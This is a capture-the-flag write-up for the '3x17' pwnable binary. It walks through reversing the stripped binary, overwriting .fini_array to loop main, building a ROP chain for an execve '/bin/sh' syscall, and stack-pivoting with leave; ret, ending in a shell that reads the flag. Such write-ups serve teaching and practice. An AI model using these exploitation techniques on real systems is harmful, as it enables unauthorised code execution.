3x17
This challenge was relatively difficult for me and introduced a few new concepts to me. Overall a pretty good challenge I would say.
I started out by looking at the binary information to see what’s going on. Calling pwn checksec ./3x17
shows this:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Nice! No PIE and no canary. That makes it easier. Wait a second…file ./3x17
./3x17: ELF 64-bit LSB executable,
x86-64, version 1 (GNU/Linux),
statically linked,
for GNU/Linux 3.2.0,
BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3,
stripped
We’re working with a stripped binary. This is gonna make it a little tough to work with. I decided to look through ghidra to figure out what was going on a little better. Taking a look at entry
I can see that there is a function that looks a lot like __libc_start_main
being called:
FUN_00401eb0(main,in_stack_00000000,&stack0x00000008,FUN_004028d0,FUN_00402960,param_3,auStack8)
The main there was added after the fact. I know that in a call to __libc_start_main
the first argument is always a pointer to the main function. So I decided to take a look at that function to see what it did. The next example shows the function with all the function names that I filled out as I was testing the program. But essentially the main function looked like this:
int main(){
DAT_004b9330 = DAT_004b9330 + '\x01';
cVar1 = DAT_004b9330;
if (DAT_004b9330 == '\x01') {
write(1,"addr:",5);
read(0,local_28,0x18);
addr = atoi(local_28);
write(1,"data:",5);
read(0,(long)addr,0x18);
cVar1 = '\0';
}
}
This entire function is very useful to know. Essentially what it’s doing is reading a value that the user is able to enter then converting that value to a number. Then it will use that value as the destination of the next user input. Essentially an arbitrary write to any writeable memory. Looking at the section headers we can see what’s writeable.
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .note.ABI-tag NOTE 0000000000400200 00000200
0000000000000020 0000000000000000 A 0 0 4
[ 2] .note.gnu.build-i NOTE 0000000000400220 00000220
0000000000000024 0000000000000000 A 0 0 4
[ 3] .rela.plt RELA 0000000000400248 00000248
0000000000000228 0000000000000018 AI 0 19 8
[ 4] .init PROGBITS 0000000000401000 00001000
0000000000000017 0000000000000000 AX 0 0 4
[ 5] .plt PROGBITS 0000000000401018 00001018
00000000000000b8 0000000000000000 AX 0 0 8
[ 6] .text PROGBITS 00000000004010d0 000010d0
000000000008b360 0000000000000000 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 000000000048c430 0008c430
0000000000001efa 0000000000000000 AX 0 0 16
[ 8] .fini PROGBITS 000000000048e32c 0008e32c
0000000000000009 0000000000000000 AX 0 0 4
[ 9] .rodata PROGBITS 000000000048f000 0008f000
000000000001937c 0000000000000000 A 0 0 32
[10] .stapsdt.base PROGBITS 00000000004a837c 000a837c
0000000000000001 0000000000000000 A 0 0 1
[11] .eh_frame PROGBITS 00000000004a8380 000a8380
000000000000a608 0000000000000000 A 0 0 8
[12] .gcc_except_table PROGBITS 00000000004b2988 000b2988
00000000000000a9 0000000000000000 A 0 0 1
[13] .tdata PROGBITS 00000000004b40c0 000b30c0
0000000000000020 0000000000000000 WAT 0 0 8
[14] .tbss NOBITS 00000000004b40e0 000b30e0
0000000000000040 0000000000000000 WAT 0 0 8
[15] .init_array INIT_ARRAY 00000000004b40e0 000b30e0
0000000000000010 0000000000000008 WA 0 0 8
[16] .fini_array FINI_ARRAY 00000000004b40f0 000b30f0
0000000000000010 0000000000000008 WA 0 0 8
[17] .data.rel.ro PROGBITS 00000000004b4100 000b3100
0000000000002df4 0000000000000000 WA 0 0 32
[18] .got PROGBITS 00000000004b6ef8 000b5ef8
00000000000000f0 0000000000000000 WA 0 0 8
[19] .got.plt PROGBITS 00000000004b7000 000b6000
00000000000000d0 0000000000000008 WA 0 0 8
[20] .data PROGBITS 00000000004b70e0 000b60e0
0000000000001af0 0000000000000000 WA 0 0 32
[21] __libc_subfreeres PROGBITS 00000000004b8bd0 000b7bd0
0000000000000048 0000000000000000 WA 0 0 8
[22] __libc_IO_vtables PROGBITS 00000000004b8c20 000b7c20
00000000000006a8 0000000000000000 WA 0 0 32
[23] __libc_atexit PROGBITS 00000000004b92c8 000b82c8
0000000000000008 0000000000000000 WA 0 0 8
[24] .bss NOBITS 00000000004b92e0 000b82d0
0000000000001718 0000000000000000 WA 0 0 32
[25] __libc_freeres_pt NOBITS 00000000004ba9f8 000b82d0
0000000000000028 0000000000000000 WA 0 0 8
[26] .comment PROGBITS 0000000000000000 000b82d0
0000000000000023 0000000000000001 MS 0 0 1
[27] .note.stapsdt NOTE 0000000000000000 000b82f4
00000000000010c0 0000000000000000 0 0 4
[28] .shstrtab STRTAB 0000000000000000 000b93b4
0000000000000134 0000000000000000 0 0 1
Looks like anything past the .tdata
array is writeable. I thought about using the GOT, but the program doesn’t call any other functions after getting the user input. Originally I was under the impression that the program stops immediately after the main function. What I learned is that libc has something called the .init_array
and .fini_array
. These are the arrays that hold the constuctors and destructors of the program. Since the constuctors have already been called so I can’t do anything there. The destructors are called at the end of the program though so I know those haven’t been called yet at the time of user input. I can see that that location is writable, I just need to know how .fini_array
works. Looking at This I can see that the .fini_array
holds the pointers to two desctructor functions. I can see where they get called by looking at the functions in ghidra. The when I do that, I can check out the calling function from the calling tree. This is what that function looks like:
void FUN_00402960(void)
{
long lVar1;
lVar1 = 1;
do {
(*(code *)(&PTR_FUN_004b40f0)[lVar1])();
lVar1 = lVar1 + -1;
} while (lVar1 != -1);
return;
}
Essentially what this is doing is taking the array at PTR_FUN_004b40f0
and calling the pointer at index 1
. Once the program comes back to this spot, the fucntion at index 0
gets called which is the function that actually exits the program. If we are going to exploit this we can replace that index 1
pointer with the address of main. With this, the .fini_array
will go from this:
<fini_array_addr> : <second_called_ptr> <first_called_ptr>
to this:
<fini_array_addr> : <second_called_ptr> <main_func>
So there’s one problem with this. If we recall our main function, there’s a value that increases every time it gets called. If we call main again, the value gets incremented again and we don’t get another read. Luckily this value is a byte type. This will be useful in the future. When the main function returns from it’s failure to read again, it will come back to the FUN_00402960
function except now it will call the function at index 0
. All I had to do was replace that other function pointer with the beginning of the FUN_00402960
function. Which would reset the counter and call the main function again. So it looks like this instead:
<fini_array_addr> : <FUN_00402960> <main_func>
This allows for an infinite loop of the main function. This is useless to us for now since that incremented byte variable prevents us from being able to write more, but luckily it’s a byte. After 256 loops, it will roll over back to 0 again and we can write some more to some location in memory. This is where we can start to build a ROP chain. I got some ROP gadgets that will just get the registers prepped for an execve syscall:
pop RAX; RET = 0x41e4af
> 0x3b
pop RDI; RET = 0x48c429
> '/bin/sh\x00'
pop RSI; RET = 0x48a79a
> 0x0
pop RDX; RET = 0x44a2e6
> 0x0
syscall = 0x486e0f
Now I need to find where to put it and we’re set. This is hard though because we dont really have control of the stack. This is where I learned about stack pivots. If you call leave; ret
at certain places in the program, it will pivot the stack to an address on the stack which is really useful in the case of this challenge. If we try to put this in the second fini_array address, then we have a problem. It doesn’t have a nice address on the stack, so it will just break the program execution. If we instead put in in the first index in the array, the stack has a nice address on it: 0x4b4100
. Now all we have to do is write the rop chain to this spot and then replace the mentioned location with leave; ret
. Now we have our finished exploit and it will stack pivot in order to put our saved ROP chain on the stack and run it! There we go:
[*] Switching to interactive mode
$ cd /home/3x17
$ ls
3x17
run.sh
the_4ns_is_51_fl4g
$ cat the_4ns_is_51_fl4g
flag{<not_the_real_flag>}